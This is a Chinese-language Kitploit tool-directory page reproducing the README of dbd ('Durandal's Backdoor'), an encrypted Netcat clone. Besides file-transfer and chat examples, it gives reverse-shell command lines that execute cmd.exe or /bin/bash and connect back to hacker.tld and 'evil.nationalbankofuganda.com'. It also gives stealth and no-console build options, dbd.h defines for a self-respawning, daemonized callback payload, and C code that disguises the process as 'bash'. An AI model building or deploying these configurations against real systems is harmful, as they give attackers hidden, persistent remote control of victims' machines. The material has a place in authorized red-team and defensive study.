Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dbd — Durandal的后门 | Kitploit
工具/GitHubGitHub/gitdurandal/dbd
加密/解密工具漏洞利用后渗透利用网络安全渗透测试命令与控制红队远程访问工具Payload 开发
GitHubgitdurandal/dbd

dbd

Durandal的后门

查看仓库
15238210年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Durandal的后门 #版权所有 (C) 2013 Kyle Barnthouse [email protected] #dbd 遵循 GNU GPL 协议发布 #Mipsbe 二进制由 Darkerego 添加 [https://github.com/darkerego] [(mailto:[email protected])]

###简介

dbd 是一个 Netcat 克隆,旨在可移植并提供强加密。它运行在类 Unix 操作系统和 Microsoft Win32 上。dbd 具有 AES-CBC-128 + HMAC-SHA1 加密(由 Christophe Devine 实现)、程序执行(-e 选项)、选择源端口、带延迟的持续重连以及其他一些优秀特性。dbd 仅支持 TCP/IP 通信。源代码和二进制文件根据 GNU 通用公共许可证发布。

###编译

root@kitploit:~
$ make
用法:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - 原生 win32 控制台应用(使用 Cygwin + MinGW)
  make win32bg  - 创建原生 win32 无控制台应用(使用 Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - 隐秘的无控制台应用
  make mingw    - 原生 win32 控制台应用(使用 MinGW MSYS)
  make mingwbg  - 原生 win32 无控制台应用(使用 MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - 隐秘的无控制台应用(使用 MinGW MSYS)
  make cygwin   - Cygwin 控制台应用
  make darwin   - Darwin

交叉编译选项:
  make mingw-cross    - win32 交叉编译(i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 无控制台交叉编译(i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - 隐秘的 win32 交叉编译
  make unix CROSS_COMPILE=<path/to/toolchain-> - 为任意架构交叉编译

打包 tarball(先将编译好的文件移到 binaries/ 目录):
  make dist     - 创建包含源文件、readme 和 binaries/ 的 tarball

要在类 Unix 操作系统下编译 dbd,你需要 gcc 和相关的开发工具。对于 Linux、FreeBSD、NetBSD、OpenBSD(可能还包括其他系统),请输入:

root@kitploit:~
$ make unix

对于 SunOS/Solaris,请输入:

root@kitploit:~
$ make sunos

要在微软 Windows(NT/2K/XP/2K3)下编译 dbd,你需要 MinGW+MSYS,或者带有完整开发支持的 Cygwin(Cygwin 的 MinGW gcc)。要在 Cygwin 下编译原生 Win32 dbd 控制台应用,请输入:

root@kitploit:~
$ make win32

或者,在 MSYS 下:

root@kitploit:~
$ make mingw

要编译无控制台("WinMain")的应用,请在 Cygwin 下输入:

root@kitploit:~
$ make win32bg

或者,在 MSYS 下:

root@kitploit:~
$ make mingwbg

要编译 Cygwin 专用的控制台应用,请输入:

root@kitploit:~
$make cygwin

你可能想改变 dbd 的默认行为。其中最重要的事情之一是将默认的共享密钥改为你自己的口令。编辑 dbd.h 并替换为你偏好的设置。例如,你可能希望在没有选项启动 dbd 时,硬编码一个要连接的主机+端口。dbd.h 中提供了完整的示例。

###使用示例

发挥一点想象力,dbd 可以用于很多事情:

使用 dbd 在两个网络之间安全传输文件:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

或者从 win32:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

使用 dbd 作为简单(但安全)的聊天工具:

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

使用 dbd 作为渗透测试后门:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

或者在类 Unix 操作系统下:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###硬编码选项

除了使用命令行选项,你还可以通过在 dbd.h 中使用 #define 来硬编码变量。为此,将你想用的变量设置为命名常量,然后正常编译。例如,如果你希望硬编码一个 dbd 可执行文件,使其回连到 "evil.nationalbankofuganda.com" 的 995 端口并执行 "/bin/bash",你可以运行:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

或者使用硬编码的 #define,你可以编辑 dbd.h:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
root@kitploit:~
你还可以设置重生和隐秘选项以帮助维持连接:
root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

这将设置连接为守护进程(用恶意软件术语来说就是“融化”),从不向 STDOUT 发送输出,并尝试在断开连接后每 15 分钟重新建立连接。

###罗慕兰隐形技术

现在我们开始进入有趣的部分。一旦你成为硬编码后门选项的大师,你就可以使用我们手中最有趣的命名常量:CLOAK。要使用它,只需设置该值:

root@kitploit:~
#define CLOAK 1

注意:目前这仅适用于 *nix 编译。我计划最终添加 Win32 进程迁移/挂钩,以便那些目标也能享受到罗慕兰的爱。

对于 *nix 环境,此选项会清除 argv[0] 并将其替换为字符串 "bash\0"。它还会清除所有其他 argv[](如果 ps 返回 "bash -e /bin/bash someremotehost.com 443" 看起来会很傻,不是吗?)我希望不言而喻,除非你将变量硬编码到 DBD.H 中,否则不能使用此选项。另外,如果你在自己的系统上测试这个,找出要杀死的正确 pid 会很有趣。;)

欢迎在你正在进行的任何项目中使用这个清除器:

root@kitploit:~
//获取我们的命名常量
int cloak = CLOAK;

//启动隐形装置
if(cloak)
{
	#ifdef WIN32
	//占位符              
	#else
	//将 argv[0] 改为 bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###警告

不要将缓存输入(包含命令或类似内容的文件)传递给监听的 "dbd -e" 会话。"dbd -e" 使用管道在被执行的程序和 dbd 之间传递数据。之所以使用管道(而不是简单的直通重复文件描述符),是因为管道与套接字之间存在加密。为了防止其中一个管道的写入端阻塞整个进程,我将其设置为非阻塞描述符。当一次性向 -e 程序传递太多输入时,管道缓冲区(在操作系统中)可能无法容纳所有数据,从而导致数据被截断(切断)。这个问题可以通过将 dbd 改为多线程等方式解决,但出于兼容性考虑,我会尽可能避免这样做。

##交叉编译

由于 dbd 设计为与其他工具/框架互操作,make 现在允许在安装了 mingw32-gcc 工具链的 Linux 系统上进行 win32 交叉编译。这些选项与它们的 Windows 原生对应项几乎相同,只是在所选构建后添加了 "-cross"。例如:

root@kitploit:~
$ make mingw-cross

在 Linux 系统上执行的操作与以下命令相同:

root@kitploit:~
$ make mingw

在安装了 mingw/msys 的 win32 系统上的操作。

目前所有交叉编译选项都是针对 Kali Linux 设计的,但应该也能在稍加修改后的任何 *nix 上运行。如果你安装了 mingw32-gcc 但 make 无法构建,请编辑 Makefile 顶部的 WCC 变量,放入你的 mingw32-gcc 二进制文件的路径。

从 dbd-1.5 版本开始,你可以通过设置 CROSS_COMPILE 为工具链前缀来使用任何交叉构建工具链编译 dbd。例如,构建 arm 版本就像这样简单:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##高级魔法

如果你希望将 dbd 集成到利用框架中,你可以编写一个模块,生成带有针对特定目标配置选项的自定义 dbd.h。任何未在此文件中显式 #define 的内容仍将使用默认值,因此你不需要在头文件中编写所有内容。示例:删除 dbd.h 并替换为:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

然后调用 make 构建一个自动连接、带隐形和重生功能的载荷,它会回连到运行在 evil.nationalbankofuganda.com 上的监听 dbd 代理,其选项为:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

另一个高级技巧是使用 dietlibc 或 uClibc 编译 dbd。要编译 dietlibc linux dbd 代理,请使用:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

注意字符串中 's' 后面的空格。这使得 Makefile 能够添加带标准 CFLAGS 和 LDFLAGS 的 gcc,从而正确构建代理。使用 dietlibc 的优势在于它能为目标环境生成非常小的 100% 静态可执行文件(压缩前 linux dbd 代理大约 70K,而使用 glibc 和 gcc -static 的标准版本则超过 700K)。使用 uClibc 甚至更简单,因为你只需在 CROSS_COMPILE 下设置交叉构建前缀即可。

##许可证
dbd 版权所有 (C) 2013 Kyle Barnthouse [email protected]

本程序是自由软件;你可以根据自由软件基金会发布的 GNU 通用公共许可证的条款重新分发和/或修改它;可以是许可证的第 2 版,或(根据你的选择)任何更高版本。

本程序的发布是希望它有用,但不提供任何担保;甚至没有对适销性或特定用途适用性的默示担保。有关详细信息,请参阅 GNU 通用公共许可证。

你应该已经随本程序收到了一份 GNU 通用公共许可证副本;如果没有,请写信给 Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

有关更多信息,请参阅 COPYING 文件。

dbd 的 AES-CBC-128 + HMAC-SHA1 实现版权归 Christophe Devine [email protected] 所有,并根据 GNU 通用公共许可证(GPL)发布。

部分代码(用于 doexec_win32.h)源自 Netcat Win32 移植版的 doexec.c,版权归 Weld Pond 和 hobbit。doexec.c 的部分代码版权归 Nathaniel W. Mishkin 所有(doexec.c 代码最初源自 rlogind.exe)。

Netcat 的原始版本由 hobbit [email protected] 编写。NT 版本由 Weld Pond [email protected] 完成。


(C) Kyle Barnthouse [email protected] 安全顾问
gitbrew.org
Hephaestus Security

下载工具